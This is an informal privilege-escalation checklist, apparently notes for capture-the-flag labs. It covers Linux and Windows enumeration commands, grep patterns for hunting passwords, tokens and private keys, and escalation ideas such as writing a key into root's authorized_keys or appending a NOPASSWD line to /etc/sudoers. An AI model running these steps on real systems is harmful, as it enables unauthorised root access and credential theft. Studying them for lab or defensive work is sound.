sudo -l
getcap -r / 2>/dev/null 
cat /etc/crontab

Binaries by root:

find / -type f -perm -4000 2>/dev/null

Hunting for SUID binaries for current user

find / -type f -perm -u=s -ls 2>/dev/null

Are there any setuid binaries by another user like des?

find / -type f -perm -u=s -user des -ls 2>/dev/null

Other file has the group check one

Check user history

cat .bash_history

Aliases (Linux/bash — privesc hints):

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

Find other process. Interanal Webpage or DB:

ps aux

Kernel Exploit

id
uname -a

Finding gold - loot:

iconv -f UTF-16LE -t UTF-8 all.txt > all-utf8.txt
grep -Ein "password|passwd|secret|token|apikey|api_key|ssh|PRIVATE KEY|INSERT INTO|CREATE DATABASE|CREATE TABLE|admin|user|login" all-utf8.txt
grep -Einr "password|passwd|secret|PRIVATE KEY|admin|user" ./*

run linpeas / linus exploit suggestor


Windows checklist:

whoami /priv

net user
systeminfo
schtasks

Windows: cmd:


findstr /I /N /R "password passwd secret token apikey api_key ssh admin user login PRIVATE CREATE INSERT

PS:


Select-String -Path .\all-utf8.txt `

-Pattern "password|passwd|secret|token|apikey|api_key|ssh|PRIVATE KEY|INSERT INTO|CREATE DATABASE|CREATE TABLE|admin|user|login" `

-AllMatches -CaseSensitive:$false | Format-Table LineNumber, Line -AutoSize

*.* - i think this is all files in dir?

winpeas / win exploit suggestor

Look for capabilities like:

🚨 High-risk caps

cap_setuid+ep
cap_setgid+ep
cap_dac_override+ep
cap_sys_admin+ep
cap_sys_ptrace+ep

These can often lead to full root compromise.

Ideas: giev root you pub id_rsa: /root/.ssh/authorized_keys

make a user sudo? through echo? deku ALL=NOPASSWD: ALL >> /etc/sudoers

change ip / location of a command. of whats it pingingfind / -type f -perm -4000 2>/dev/null

look at groups


do’s: export path

export PATH=PATH

some docker shii: https://medium.com/@CP4rrot/try-hack-me-the-market-place-907070bfac63